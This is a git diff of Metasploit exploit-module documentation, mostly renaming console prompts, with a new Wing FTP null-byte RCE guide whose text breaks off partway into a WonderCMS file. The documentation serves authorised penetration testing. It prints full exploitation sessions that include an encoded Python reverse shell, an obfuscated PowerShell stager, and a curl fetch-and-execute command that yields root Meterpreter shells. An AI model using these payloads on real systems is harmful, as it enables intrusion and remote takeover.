8 opened (192.168.1.36:4444 -> 172.28.0.3:53014) at 2025-05-29 16:27:00 +0200 + +meterpreter > sysinfo +Computer : 172.28.0.3 +OS : Debian 12.11 (Linux 6.14.8-2-cachyos) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/documentation/modules/exploit/multi/http/vbulletin_widget_template_rce.md b/documentation/modules/exploit/multi/http/vbulletin_widget_template_rce.md index b0c7160d4f082..20b2b3dfa41d7 100644 --- a/documentation/modules/exploit/multi/http/vbulletin_widget_template_rce.md +++ b/documentation/modules/exploit/multi/http/vbulletin_widget_template_rce.md @@ -35,18 +35,18 @@ The PHP function to use to execute commands on the target. **Default: shell_exec ## Scenarios ``` -msf6 > use exploit/multi/http/vbulletin_widget_template_rce +msf > use exploit/multi/http/vbulletin_widget_template_rce [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/vbulletin_widget_template_rce) > set RHOSTS 127.0.0.1 +msf exploit(multi/http/vbulletin_widget_template_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/vbulletin_widget_template_rce) > set VHOST vb.local +msf exploit(multi/http/vbulletin_widget_template_rce) > set VHOST vb.local VHOST => vb.local -msf6 exploit(multi/http/vbulletin_widget_template_rce) > set LHOST 0.0.0.0 +msf exploit(multi/http/vbulletin_widget_template_rce) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 -msf6 exploit(multi/http/vbulletin_widget_template_rce) > set TARGETURI / +msf exploit(multi/http/vbulletin_widget_template_rce) > set TARGETURI / TARGETURI => / -msf6 exploit(multi/http/vbulletin_widget_template_rce) > set PAYLOAD 5 -msf6 exploit(multi/http/vbulletin_widget_template_rce) > run +msf exploit(multi/http/vbulletin_widget_template_rce) > set PAYLOAD 5 +msf exploit(multi/http/vbulletin_widget_template_rce) > run [*] Executing automatic check (disable AutoCheck to override) [+] The target is vulnerable. diff --git a/documentation/modules/exploit/multi/http/vbulletin_widgetconfig_rce.md b/documentation/modules/exploit/multi/http/vbulletin_widgetconfig_rce.md index 29a3f0b633e01..f41db2deaa738 100755 --- a/documentation/modules/exploit/multi/http/vbulletin_widgetconfig_rce.md +++ b/documentation/modules/exploit/multi/http/vbulletin_widgetconfig_rce.md @@ -44,11 +44,11 @@ Override check result. A proof of concept was originally published on [seclist.org](https://seclists.org/fulldisclosure/2019/Sep/31). ``` -msf5 exploit(multi/http/vbulletin_widgetconfig_rce) > set rhosts 192.168.1.25 +msf exploit(multi/http/vbulletin_widgetconfig_rce) > set rhosts 192.168.1.25 rhosts => 192.168.1.25 -msf5 exploit(multi/http/vbulletin_widgetconfig_rce) > set lhost 192.168.1.13 +msf exploit(multi/http/vbulletin_widgetconfig_rce) > set lhost 192.168.1.13 lhost => 192.168.1.13 -msf5 exploit(multi/http/vbulletin_widgetconfig_rce) > run +msf exploit(multi/http/vbulletin_widgetconfig_rce) > run [*] Started reverse TCP handler on 192.168.1.13:4444 [*] Sending php/meterpreter/reverse_tcp command payload diff --git a/documentation/modules/exploit/multi/http/vmware_vcenter_log4shell.md b/documentation/modules/exploit/multi/http/vmware_vcenter_log4shell.md index 1ea5608c0e73b..4f235e450a470 100644 --- a/documentation/modules/exploit/multi/http/vmware_vcenter_log4shell.md +++ b/documentation/modules/exploit/multi/http/vmware_vcenter_log4shell.md @@ -50,24 +50,24 @@ In summary: ### VMware vCenter Server 6.7 Build 17028632 / Update 1b (Linux appliance) ``` -msf6 > use exploit/multi/http/vmware_vcenter_log4shell +msf > use exploit/multi/http/vmware_vcenter_log4shell [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(multi/http/vmware_vcenter_log4shell) > set RHOSTS 192.168.159.55 +msf exploit(multi/http/vmware_vcenter_log4shell) > set RHOSTS 192.168.159.55 RHOSTS => 192.168.159.55 -msf6 exploit(multi/http/vmware_vcenter_log4shell) > set TARGET Linux +msf exploit(multi/http/vmware_vcenter_log4shell) > set TARGET Linux TARGET => Linux -msf6 exploit(multi/http/vmware_vcenter_log4shell) > set LHOST 192.168.159.128 +msf exploit(multi/http/vmware_vcenter_log4shell) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/vmware_vcenter_log4shell) > set SRVHOST 192.168.159.128 +msf exploit(multi/http/vmware_vcenter_log4shell) > set SRVHOST 192.168.159.128 SRVHOST => 192.168.159.128 -msf6 exploit(multi/http/vmware_vcenter_log4shell) > check +msf exploit(multi/http/vmware_vcenter_log4shell) > check [*] Using auxiliary/scanner/http/log4shell_scanner as check [+] 192.168.159.55:443 - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251) [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [+] 192.168.159.55:443 - The target is vulnerable. -msf6 exploit(multi/http/vmware_vcenter_log4shell) > exploit +msf exploit(multi/http/vmware_vcenter_log4shell) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -91,26 +91,26 @@ pwd In this example, the target server is running on the non-default port of 8443. ``` -msf6 > use exploit/multi/http/vmware_vcenter_log4shell +msf > use exploit/multi/http/vmware_vcenter_log4shell [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(multi/http/vmware_vcenter_log4shell) > set RHOSTS 192.168.159.45 +msf exploit(multi/http/vmware_vcenter_log4shell) > set RHOSTS 192.168.159.45 RHOSTS => 192.168.159.45 -msf6 exploit(multi/http/vmware_vcenter_log4shell) > set TARGET Windows +msf exploit(multi/http/vmware_vcenter_log4shell) > set TARGET Windows TARGET => Windows -msf6 exploit(multi/http/vmware_vcenter_log4shell) > set LHOST 192.168.159.128 +msf exploit(multi/http/vmware_vcenter_log4shell) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/vmware_vcenter_log4shell) > set SRVHOST 192.168.159.128 +msf exploit(multi/http/vmware_vcenter_log4shell) > set SRVHOST 192.168.159.128 SRVHOST => 192.168.159.128 -msf6 exploit(multi/http/vmware_vcenter_log4shell) > set RPORT 8443 +msf exploit(multi/http/vmware_vcenter_log4shell) > set RPORT 8443 RPORT => 8443 -msf6 exploit(multi/http/vmware_vcenter_log4shell) > check +msf exploit(multi/http/vmware_vcenter_log4shell) > check [*] Using auxiliary/scanner/http/log4shell_scanner as check [+] 192.168.159.45:8443 - Log4Shell found via /websso/SAML2/SSO/vsphere.local/?SAMLRequest= (header: X-Forwarded-For) (java: Oracle Corporation_1.8.0_251) [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [+] 192.168.159.45:8443 - The target is vulnerable. -msf6 exploit(multi/http/vmware_vcenter_log4shell) > exploit +msf exploit(multi/http/vmware_vcenter_log4shell) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/vmware_vcenter_uploadova_rce.md b/documentation/modules/exploit/multi/http/vmware_vcenter_uploadova_rce.md index 52f2304b62d09..104dde17cecf1 100644 --- a/documentation/modules/exploit/multi/http/vmware_vcenter_uploadova_rce.md +++ b/documentation/modules/exploit/multi/http/vmware_vcenter_uploadova_rce.md @@ -88,9 +88,9 @@ Spray JSP payload path stopping at this index. ### VMware vCenter Server 6.7 Update 1b (Linux appliance) ``` -msf6 > use exploit/multi/http/vmware_vcenter_uploadova_rce +msf > use exploit/multi/http/vmware_vcenter_uploadova_rce [*] Using configured payload java/jsp_shell_reverse_tcp -msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > options +msf exploit(multi/http/vmware_vcenter_uploadova_rce) > options Module options (exploit/multi/http/vmware_vcenter_uploadova_rce): @@ -120,11 +120,11 @@ Exploit target: 0 VMware vCenter Server <= 6.7 Update 1b (Linux) -msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > set rhosts 192.168.123.135 +msf exploit(multi/http/vmware_vcenter_uploadova_rce) > set rhosts 192.168.123.135 rhosts => 192.168.123.135 -msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > set lhost 192.168.123.1 +msf exploit(multi/http/vmware_vcenter_uploadova_rce) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > run +msf exploit(multi/http/vmware_vcenter_uploadova_rce) > run [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -151,11 +151,11 @@ Background session 1? [y/N] y ### VMware vCenter Server 6.7 Update 3j on Windows Server 2016 ``` -msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > set target 1 +msf exploit(multi/http/vmware_vcenter_uploadova_rce) > set target 1 target => 1 -msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > set rhosts 192.168.123.194 +msf exploit(multi/http/vmware_vcenter_uploadova_rce) > set rhosts 192.168.123.194 rhosts => 192.168.123.194 -msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > run +msf exploit(multi/http/vmware_vcenter_uploadova_rce) > run [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/vtiger_logo_upload_exec.md b/documentation/modules/exploit/multi/http/vtiger_logo_upload_exec.md index 2f40d27d6fb01..6ad92f78e1efd 100644 --- a/documentation/modules/exploit/multi/http/vtiger_logo_upload_exec.md +++ b/documentation/modules/exploit/multi/http/vtiger_logo_upload_exec.md @@ -31,14 +31,14 @@ Default: true ### VtigerCRM v6.3.0 tested on Windows 10 x64 (Apache 2.2.26 / PHP 5.3.10) ``` -msf5 > use exploit/multi/http/vtiger_logo_upload_exec -msf5 exploit(multi/http/vtiger_logo_upload_exec) > set rhosts 172.22.222.175 +msf > use exploit/multi/http/vtiger_logo_upload_exec +msf exploit(multi/http/vtiger_logo_upload_exec) > set rhosts 172.22.222.175 rhosts => 172.22.222.175 -msf5 exploit(multi/http/vtiger_logo_upload_exec) > set rport 8899 +msf exploit(multi/http/vtiger_logo_upload_exec) > set rport 8899 rport => 8899 -msf5 exploit(multi/http/vtiger_logo_upload_exec) > set password admin +msf exploit(multi/http/vtiger_logo_upload_exec) > set password admin password => admin -msf5 exploit(multi/http/vtiger_logo_upload_exec) > run +msf exploit(multi/http/vtiger_logo_upload_exec) > run [*] Started reverse TCP handler on 172.22.222.121:4444 [*] Uploading payload: KpXAXQNKjN.php diff --git a/documentation/modules/exploit/multi/http/weblogic_admin_handle_rce.md b/documentation/modules/exploit/multi/http/weblogic_admin_handle_rce.md index c98e114250ee6..fbe95b6764369 100644 --- a/documentation/modules/exploit/multi/http/weblogic_admin_handle_rce.md +++ b/documentation/modules/exploit/multi/http/weblogic_admin_handle_rce.md @@ -64,9 +64,9 @@ This uses a PowerShell stager to execute code. ### All targets, unabridged test results ``` -msf6 > use exploit/multi/http/weblogic_admin_handle_rce +msf > use exploit/multi/http/weblogic_admin_handle_rce [*] Using configured payload windows/x64/meterpreter/reverse_https -msf6 exploit(multi/http/weblogic_admin_handle_rce) > options +msf exploit(multi/http/weblogic_admin_handle_rce) > options Module options (exploit/multi/http/weblogic_admin_handle_rce): @@ -101,7 +101,7 @@ Exploit target: 4 PowerShell Stager -msf6 exploit(multi/http/weblogic_admin_handle_rce) > show targets +msf exploit(multi/http/weblogic_admin_handle_rce) > show targets Exploit targets: @@ -114,13 +114,13 @@ Exploit targets: 4 PowerShell Stager -msf6 exploit(multi/http/weblogic_admin_handle_rce) > set target Unix\ Command +msf exploit(multi/http/weblogic_admin_handle_rce) > set target Unix\ Command target => Unix Command -msf6 exploit(multi/http/weblogic_admin_handle_rce) > set rhosts 127.0.0.1 +msf exploit(multi/http/weblogic_admin_handle_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(multi/http/weblogic_admin_handle_rce) > set lhost 192.168.1.7 +msf exploit(multi/http/weblogic_admin_handle_rce) > set lhost 192.168.1.7 lhost => 192.168.1.7 -msf6 exploit(multi/http/weblogic_admin_handle_rce) > run +msf exploit(multi/http/weblogic_admin_handle_rce) > run [+] python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMS43Jyw4NDQzKSkKcz1zc2wud3JhcF9zb2NrZXQoc28pCm5YPUZhbHNlCndoaWxlIG5vdCBuWDoKCWRhdGE9cy5yZWN2KDEwMjQpCglpZiBsZW4oZGF0YSk9PTA6CgkJblggPSBUcnVlCglwcm9jPXN1YnByb2Nlc3MuUG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsc3RkZXJyPXN1YnByb2Nlc3MuUElQRSxzdGRpbj1zdWJwcm9jZXNzLlBJUEUpCglzdGRvdXRfdmFsdWU9cHJvYy5zdGRvdXQucmVhZCgpICsgcHJvYy5zdGRlcnIucmVhZCgpCglzLnNlbmQoc3Rkb3V0X3ZhbHVlKQo=')[0]))" [*] Started reverse SSL handler on 192.168.1.7:8443 @@ -138,9 +138,9 @@ uname -a Linux 44a89af1c504 4.19.76-linuxkit #1 SMP Tue May 26 11:42:35 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux ^Z Background session 1? [y/N] y -msf6 exploit(multi/http/weblogic_admin_handle_rce) > set target Linux\ Dropper +msf exploit(multi/http/weblogic_admin_handle_rce) > set target Linux\ Dropper target => Linux Dropper -msf6 exploit(multi/http/weblogic_admin_handle_rce) > run +msf exploit(multi/http/weblogic_admin_handle_rce) > run [*] Started HTTPS reverse handler on https://192.168.1.7:8443 [*] Executing automatic check (disable AutoCheck to override) @@ -394,13 +394,13 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > Background session 2? [y/N] -msf6 exploit(multi/http/weblogic_admin_handle_rce) > set target Windows\ Command +msf exploit(multi/http/weblogic_admin_handle_rce) > set target Windows\ Command target => Windows Command -msf6 exploit(multi/http/weblogic_admin_handle_rce) > set rhosts 192.168.123.130 +msf exploit(multi/http/weblogic_admin_handle_rce) > set rhosts 192.168.123.130 rhosts => 192.168.123.130 -msf6 exploit(multi/http/weblogic_admin_handle_rce) > set lhost 192.168.123.1 +msf exploit(multi/http/weblogic_admin_handle_rce) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(multi/http/weblogic_admin_handle_rce) > run +msf exploit(multi/http/weblogic_admin_handle_rce) > run [*] Started reverse SSL handler on 192.168.123.1:8443 [*] Executing automatic check (disable AutoCheck to override) @@ -419,9 +419,9 @@ PS C:\Oracle\Middleware\Oracle_Home\user_projects\domains\wl_server>whoami windev2009eval\user PS C:\Oracle\Middleware\Oracle_Home\user_projects\domains\wl_server> ^Z Background session 3? [y/N] y -msf6 exploit(multi/http/weblogic_admin_handle_rce) > set target Windows\ Dropper +msf exploit(multi/http/weblogic_admin_handle_rce) > set target Windows\ Dropper target => Windows Dropper -msf6 exploit(multi/http/weblogic_admin_handle_rce) > run +msf exploit(multi/http/weblogic_admin_handle_rce) > run [*] Started HTTPS reverse handler on https://192.168.123.1:8443 [*] Executing automatic check (disable AutoCheck to override) @@ -473,9 +473,9 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > Background session 4? [y/N] -msf6 exploit(multi/http/weblogic_admin_handle_rce) > set target PowerShell\ Stager +msf exploit(multi/http/weblogic_admin_handle_rce) > set target PowerShell\ Stager target => PowerShell Stager -msf6 exploit(multi/http/weblogic_admin_handle_rce) > run +msf exploit(multi/http/weblogic_admin_handle_rce) > run [*] Started HTTPS reverse handler on https://192.168.123.1:8443 [*] Executing automatic check (disable AutoCheck to override) @@ -484,7 +484,7 @@ msf6 exploit(multi/http/weblogic_admin_handle_rce) > run [*] Powershell command length: 2718 [*] Executing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''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''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);" [*] Exploit completed, but no session was created. -msf6 exploit(multi/http/weblogic_admin_handle_rce) > run +msf exploit(multi/http/weblogic_admin_handle_rce) > run [*] Started HTTPS reverse handler on https://192.168.123.1:8443 [*] Executing automatic check (disable AutoCheck to override) @@ -507,7 +507,7 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > Background session 5? [y/N] -msf6 exploit(multi/http/weblogic_admin_handle_rce) > sessions +msf exploit(multi/http/weblogic_admin_handle_rce) > sessions Active sessions =============== @@ -520,7 +520,7 @@ Active sessions 4 meterpreter x64/windows WINDEV2009EVAL\User @ WINDEV2009EVAL 192.168.123.1:8443 -> 192.168.123.130:49723 (192.168.123.130) 5 meterpreter x64/windows WINDEV2009EVAL\User @ WINDEV2009EVAL 192.168.123.1:8443 -> 192.168.123.130:49727 (192.168.123.130) -msf6 exploit(multi/http/weblogic_admin_handle_rce) > show targets +msf exploit(multi/http/weblogic_admin_handle_rce) > show targets Exploit targets: @@ -533,5 +533,5 @@ Exploit targets: 4 PowerShell Stager -msf6 exploit(multi/http/weblogic_admin_handle_rce) > +msf exploit(multi/http/weblogic_admin_handle_rce) > ``` diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md index 8c83ec23790ac..fb230332504ba 100644 --- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md +++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md @@ -529,21 +529,21 @@ cookie. Valid values are: Example utilizing the previously mentioned sample app listed above. $ msfconsole -q - msf6 > use exploit/multi/http/werkzeug_debug_rce + msf > use exploit/multi/http/werkzeug_debug_rce [*] No payload configured, defaulting to python/meterpreter/reverse_tcp - msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5 + msf exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5 RHOSTS => 192.168.23.5 - msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117 + msf exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117 LHOST => 192.168.23.117 - msf6 exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1 + msf exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1 VHOST => 127.0.0.1 - msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04 + msf exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04 MACADDRESS => 02:42:ac:12:00:04 - msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8 + msf exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8 MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8 - msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py + msf exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py - msf6 exploit(multi/http/werkzeug_debug_rce) > run + msf exploit(multi/http/werkzeug_debug_rce) > run [*] Started reverse TCP handler on 192.168.23.117:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wingftp_null_byte_rce.md b/documentation/modules/exploit/multi/http/wingftp_null_byte_rce.md new file mode 100644 index 0000000000000..98cb2de0fa03f --- /dev/null +++ b/documentation/modules/exploit/multi/http/wingftp_null_byte_rce.md @@ -0,0 +1,161 @@ +## Vulnerable Application + +This Metasploit module exploits an **unauthenticated Remote Code Execution** vulnerability +in **Wing FTP Server** (≤ 7.4.3 on Linux 64-bit), via its web administration interface. +The flaw lies in the login handler (`loginok.html`): by injecting a null byte (`%00`) into +the `username` parameter, attacker-supplied Lua code is written into the session file and +then executed by `loadfile()`, yielding arbitrary code execution as **root**. + +To set up a vulnerable lab, use the following **Vagrantfile**, which provisions a Debian +"bookworm" VM, installs Wing FTP Server 7.4.3, and exposes its HTTP/S and FTP ports on the host: + +```ruby +Vagrant.configure("2") do |config| + config.vm.box = "debian/bookworm64" + + if Vagrant.has_plugin?("vagrant-vbguest") + config.vbguest.auto_update = false + end + + { + 21 => 2121, # FTP + 990 => 2990, # FTPS + 5466 => 5466, # Admin port WingFTP + 50000 => 50000, # Passive FTP range start + 50050 => 50050, # Passive FTP range end + 80 => 8081 # HTTP WingFTP Web GUI + }.each do |guest, host| + config.vm.network "forwarded_port", + guest: guest, + host: host, + host_ip: "0.0.0.0", + auto_correct: true + end + + config.vm.provision "shell", inline: <<-SHELL +#!/usr/bin/env bash +set -e + +ADMIN_USER="admin" +ADMIN_PASS="adminadmin" +ADMIN_PORT="5466" +WFTP_URL="https://web.archive.org/web/20250108084555/https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz" + +apt-get update +DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \ + wget ca-certificates libssl3 libpam0g libacl1 libcap2 \ + net-tools procps expect curl \ + linux-headers-amd64 build-essential dkms + +mkdir -p /opt/wingftp +cd /opt/wingftp +wget -qO wftp.tar.gz "$WFTP_URL" +tar xzf wftp.tar.gz --strip-components=1 +rm wftp.tar.gz +chmod +x setup.sh + +expect -c " + spawn /opt/wingftp/setup.sh + expect \\\"Enter your administrator name:\\\" { send \\\"${ADMIN_USER}\\r\\\" } + expect \\\"Enter your administrator password:\\\" { send \\\"${ADMIN_PASS}\\r\\\" } + expect \\\"Enter your administrator password:\\\" { send \\\"${ADMIN_PASS}\\r\\\" } + expect \\\"Enter the listener port\\\" { send \\\"${ADMIN_PORT}\\r\\\" } + expect \\\"Do you want to start Wing FTP Server now?\\\" { send \\\"y\\r\\\" } + expect eof +" + +systemctl daemon-reload +systemctl enable wftpserver.service +systemctl start wftpserver.service +SHELL + + config.vm.provider "virtualbox" do |vb| + vb.memory = 512 + vb.cpus = 1 + end +end +``` + +* Save this as Vagrantfile in an empty directory. +* Run vagrant up. +* After provisioning, access the Wing FTP Server web UI at http://localhost:5466/ with credentials admin/adminadmin. +* On first login, a popup will appear; click OK. +* Create a new domain in the admin interface (this will enable the web client panel, port 8081). +* Then create a new user; for simplicity, use anonymous. + + +## Verification Steps + +1. Start `msfconsole`. +2. Load the module: +``` +use exploit/multi/http/wingftp_null_byte_rce +``` +3. Set target parameters: +``` +set RHOSTS 127.0.0.1 +set RPORT 8081 +set TARGETURI / +``` +4. Configure payload: +``` +set payload cmd/linux/http/x64/meterpreter/reverse_tcp +set LHOST +set LPORT +``` +5. Run the exploit: +``` +run +``` +6. On success, a Meterpreter session will open, confirming remote code execution. + + +## Options + +### USERNAME + +A valid username (default: anonymous) + +### PASSWORD + +A valid password (default: '') + + +## Scenarios + +### Successful Exploitation against Wing FTP Server + +**Setup**: + +* Wing FTP Server running in the Vagrant VM above. +* Attacker on host machine with Metasploit. + +**Steps**: + +With `cmd/linux/http/x64/meterpreter/reverse_tcp`: + +``` +msf exploit(multi/http/wingftp_null_byte_rce) > run http://lab:8081 +[*] Command to run on remote host: curl -so ./FaWVivODJhB http://192.168.1.36:9999/LoPlnjEpeOexZNVppn6cAA;chmod +x ./FaWVivODJhB;./FaWVivODJhB& +[*] Fetch handler listening on 192.168.1.36:9999 +[*] HTTP server started +[*] Adding resource /LoPlnjEpeOexZNVppn6cAA +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. UID cookie received: UID=2a5efb5a398e4ff19369a523c3cfffb03683e20446a6b40715757e2b05f10521 +[+] Received UID: UID=146015b242094d8f4eff04941d94e67d3683e20446a6b40715757e2b05f10521 +[*] Client 192.168.1.36 requested /LoPlnjEpeOexZNVppn6cAA +[*] Sending payload to 192.168.1.36 (curl/7.88.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.1.36 +[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 192.168.1.36:46260) at 2025-07-01 18:56:31 +0200 + +meterpreter > sysinfo +Computer : 10.0.2.15 +OS : Debian 12.9 (Linux 6.1.0-37-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` diff --git a/documentation/modules/exploit/multi/http/wondercms_rce.md b/documentation/modules/exploit/multi/http/wondercms_rce.md new file mode 100644 index 0000000000000..ebc4fad793420 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wondercms_rce.md @@ -0,0 +1,63 @@ +## Vulnerable Application + +[WonderCMS](https://www.wondercms.com/) is a free and open-source Content Management System (CMS). The main advantage is that only one PHP file controls the whole management. Follow next steps to install application: + +### Source Installation +1. Install Apache2 and PHP on server +2. Download WonderCMS from [here](https://github.com/WonderCMS/wondercms/releases/download/3.4.2/wondercms-342.zip) +3. Enable Apache2 Rewrite Engine: `sudo a2enmod rewrite` +### Docker Installation +1. Clone the following 